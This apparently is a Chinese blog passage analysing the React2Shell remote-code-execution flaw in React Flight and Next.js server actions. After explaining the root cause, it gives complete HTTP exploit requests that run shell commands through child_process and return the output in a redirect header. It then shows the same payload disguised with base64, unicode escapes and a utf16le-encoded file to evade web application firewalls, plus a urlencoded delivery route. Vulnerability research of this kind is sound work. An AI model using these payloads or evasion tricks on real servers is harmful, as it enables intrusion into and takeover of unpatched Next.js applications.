// 场景3:多层嵌套也会递归解包
Promise.resolve(1)
.then(x => Promise.resolve(Promise.resolve(x + 1)))
.then(x => console.log(x)); // 仍然接收到 2

Flight第一次解析 $@0 获得的是真实的Chunk,将其传给 resolve() 时进行了第一次解包,解包后的value是攻击者构造的“假Chunk”。但JavaScript发现这个对象存在then方法,是一个Thenable对象,由于递归机制的存在,于是会继续对这个对象进行解包。

第二次解包时,Chunk就完全变成了用户控制的对象,这里就开始混淆了数据逻辑对象,最终导致了漏洞。我们总结一下,React2Shell这个漏洞的核心原因就是:React Flight在解析用户输入的时候,混淆了数据和Chunk对象,导致攻击者可以伪造Chunk对象,接着利用后续的逻辑造成任意代码执行。

接下来分析一下我们恶意构建的chunk对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"then": "$1:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('whoami');",
"_chunks": [],
"_formData": {
"get": "$1:constructor:constructor"
}
}
}

首先,假Chunk必须是一个Thenable对象,所以需要有 then 方法,这里直接随便引用另一个字段的then方法$1:then 即可。status等于resolved_model和reason等于-1都只是为了让这个Chunk对象正常而不出错地往下执行,直到开始解析这个Chunk的value,也就是 {“then”:”$B1337”} 。

当引用类型是 B 时,我们看看其执行的代码:

我们只要让 response._formData.get 变成一个恶意函数,比如eval,而 response._prefix 是恶意代码即可。这里作者并没有找到可以直接利用的eval方法,退而求其次,最后利用到了JavaScript中的 Function 函数。

在JavaScript中,某个对象的 .constructor 属性是这个对象的构造函数,而 .constructor.constructor 就是这个对象的构造函数的构造函数,而任何函数的构造函数都是 Function 。

Function 和 eval 类似,只不过它其中的代码不是立刻执行,而是需要再次调用才能执行:

所以, $B1337 的返回值最后被控制成 chunk1.constructor.constructor(‘var res=process.mainModule.require…’) ,这是一个函数,将这个函数赋值给then属性后,在下一次 resolve()的时候触发,最终完成任意代码执行。

一些WAF

base64 bypass

我们可以通过base64编码来进行一些简单的绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /app HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 565

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B\"}","_response":{"_prefix":"eval(Buffer.from('dmFyIHJlcz1wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd3aG9hbWknKS50b1N0cmluZygpLnRyaW0oKTs7dGhyb3cgT2JqZWN0LmFzc2lnbihuZXcgRXJyb3IoJ05FWFRfUkVESVJFQ1QnKSx7ZGlnZXN0OiBgTkVYVF9SRURJUkVDVDtwdXNoOy9sb2dpbj9hPSR7cmVzfTszMDc7YH0pOw==','base64').toString());","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

但是这种bypass没有什么本质变化

unicode bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /app HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 565

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","\u005F\u0072\u0065\u0073\u0070\u006F\u006E\u0073\u0065":{"\u005F\u0070\u0072\u0065\u0066\u0069\u0078":"\u0076\u0061\u0072\u0020\u0072\u0065\u0073\u003D\u0070\u0072\u006F\u0063\u0065\u0073\u0073\u002E\u006D\u0061\u0069\u006E\u004D\u006F\u0064\u0075\u006C\u0065\u002E\u0072\u0065\u0071\u0075\u0069\u0072\u0065\u0028\u0027\u0063\u0068\u0069\u006C\u0064\u005F\u0070\u0072\u006F\u0063\u0065\u0073\u0073\u0027\u0029\u002E\u0065\u0078\u0065\u0063\u0053\u0079\u006E\u0063\u0028\u0027\u0077\u0068\u006F\u0061\u006D\u0069\u0027\u0029\u002E\u0074\u006F\u0053\u0074\u0072\u0069\u006E\u0067\u0028\u0029\u002E\u0074\u0072\u0069\u006D\u0028\u0029\u003B\u003B\u0074\u0068\u0072\u006F\u0077\u0020\u004F\u0062\u006A\u0065\u0063\u0074\u002E\u0061\u0073\u0073\u0069\u0067\u006E\u0028\u006E\u0065\u0077\u0020\u0045\u0072\u0072\u006F\u0072\u0028\u0027\u004E\u0045\u0058\u0054\u005F\u0052\u0045\u0044\u0049\u0052\u0045\u0043\u0054\u0027\u0029\u002C\u007B\u0064\u0069\u0067\u0065\u0073\u0074\u003A\u0020\u0060\u004E\u0045\u0058\u0054\u005F\u0052\u0045\u0044\u0049\u0052\u0045\u0043\u0054\u003B\u0070\u0075\u0073\u0068\u003B\u002F\u006C\u006F\u0067\u0069\u006E\u003F\u0061\u003D\u0024\u007B\u0072\u0065\u0073\u007D\u003B\u0033\u0030\u0037\u003B\u0060\u007D\u0029\u003B","\u005F\u0063\u0068\u0075\u006E\u006B\u0073":"\u0024\u0051\u0032","\u005F\u0066\u006F\u0072\u006D\u0044\u0061\u0074\u0061":{"\u0067\u0065\u0074":"\u0024\u0031\u003A\u0063\u006F\u006E\u0073\u0074\u0072\u0075\u0063\u0074\u006F\u0072\u003A\u0063\u006F\u006E\u0073\u0074\u0072\u0075\u0063\u0074\u006F\u0072"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

所有双引号中的内容都是可以用unicode替代的。

utf16 encoding

解析 multipart/form-data 的过程是由 busboy 来完成的。调试发现 busboy 会通过 getDecoder 函数来提取 charset 对应的编码方式,然后对传递过来的数据包进行解码,并转发给 ReAct 进行后续处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function getDecoder(e) {
let i;
for (; ; )
switch (e) {
case "utf-8":
case "utf8":
return t.utf8;
case "latin1":
case "ascii":
case "us-ascii":
case "iso-8859-1":
case "iso8859-1":
case "iso88591":
case "iso_8859-1":
case "windows-1252":
case "iso_8859-1:1987":
case "cp1252":
case "x-cp1252":
return t.latin1;
case "utf16le":
case "utf-16le":
case "ucs2":
case "ucs-2":
return t.utf16le;
case "base64":
return t.base64;
default:
if (void 0 === i) {
i = !0,
e = e.toLowerCase();
continue
}
return t.other.bind(e)
}
}

比如,可以利用 utf16le 这种编码实现 Bypass:

我们编码后形成一个hex文件

1
2
3
4
# 创建包含要插入的 Hex 的文件
hex_data = "7B00 2200 7400 6800 6500 6E00 2200 3A00 2200 2400 3100 3A00 5F00 5F00 7000 7200 6F00 7400 6F00 5F00 5F00 3A00 7400 6800 6500 6E00 2200 2C00 2200 7300 7400 6100 7400 7500 7300 2200 3A00 2200 7200 6500 7300 6F00 6C00 7600 6500 6400 5F00 6D00 6F00 6400 6500 6C00 2200 2C00 2200 7200 6500 6100 7300 6F00 6E00 2200 3A00 2D00 3100 2C00 2200 7600 6100 6C00 7500 6500 2200 3A00 2200 7B00 5C00 2200 7400 6800 6500 6E00 5C00 2200 3A00 5C00 2200 2400 4200 3100 3300 3300 3700 5C00 2200 7D00 2200 2C00 2200 5F00 7200 6500 7300 7000 6F00 6E00 7300 6500 2200 3A00 7B00 2200 5F00 7000 7200 6500 6600 6900 7800 2200 3A00 2200 7600 6100 7200 2000 7200 6500 7300 3D00 7000 7200 6F00 6300 6500 7300 7300 2E00 6D00 6100 6900 6E00 4D00 6F00 6400 7500 6C00 6500 2E00 7200 6500 7100 7500 6900 7200 6500 2800 2700 6300 6800 6900 6C00 6400 5F00 7000 7200 6F00 6300 6500 7300 7300 2700 2900 2E00 6500 7800 6500 6300 5300 7900 6E00 6300 2800 2700 7700 6800 6F00 6100 6D00 6900 2700 2900 2E00 7400 6F00 5300 7400 7200 6900 6E00 6700 2800 2900 2E00 7400 7200 6900 6D00 2800 2900 3B00 3B00 7400 6800 7200 6F00 7700 2000 4F00 6200 6A00 6500 6300 7400 2E00 6100 7300 7300 6900 6700 6E00 2800 6E00 6500 7700 2000 4500 7200 7200 6F00 7200 2800 2700 4E00 4500 5800 5400 5F00 5200 4500 4400 4900 5200 4500 4300 5400 2700 2900 2C00 7B00 6400 6900 6700 6500 7300 7400 3A00 2000 6000 4E00 4500 5800 5400 5F00 5200 4500 4400 4900 5200 4500 4300 5400 3B00 7000 7500 7300 6800 3B00 2F00 6C00 6F00 6700 6900 6E00 3F00 6100 3D00 2400 7B00 7200 6500 7300 7D00 3B00 3300 3000 3700 3B00 6000 7D00 2900 3B00 2200 2C00 2200 5F00 6300 6800 7500 6E00 6B00 7300 2200 3A00 2200 2400 5100 3200 2200 2C00 2200 5F00 6600 6F00 7200 6D00 4400 6100 7400 6100 2200 3A00 7B00 2200 6700 6500 7400 2200 3A00 2200 2400 3100 3A00 6300 6F00 6E00 7300 7400 7200 7500 6300 7400 6F00 7200 3A00 6300 6F00 6E00 7300 7400 7200 7500 6300 7400 6F00 7200 2200 7D00 7D00 7D00" # Hello World
with open('insert.hex', 'wb') as f:
f.write(bytes.fromhex(hex_data.replace(' ', '')))

然后在raw界面进行paste from file来插入!

x-www-form-urlencoded

Content-Type真的必须是multipart/form-data吗?

但是之所以认为漏洞的利用必须是Multipart数据包,原因是非Multipart的情况下Next.js会检查Next-Action中指定的action id是否存在:

这个action id是一个hex字符串,如果说服务端没有用到任何server action,这个检测逻辑将会永远绕不过去,这导致无法正常利用。所以,现在大部分的POC才使用Multipart进行利用

但是,如果我们要测试的目标存在至少一个server action,我们就可以在页面源代码或数据包中找到至少一个合法的Next-Action头:

我找不到,这里给出p神的图:

将这个hex字符串放在Next-Action头中,即可利用application/x-www-form-urlencoded来发送数据包:

由于我找不到next-action,结果如下:

参考文章

由于next.js在解析mul…-知识星球

调试分析CVE-2025-55…-知识星球

React2Shell 分析总结

https://keenlab.tencent.com/zh/2025/12/08/2025-CVE-2025-55182/

https://wx.zsxq.com/topic/45811881148251228

https://articles.zsxq.com/id_zh3w9fe50uma.html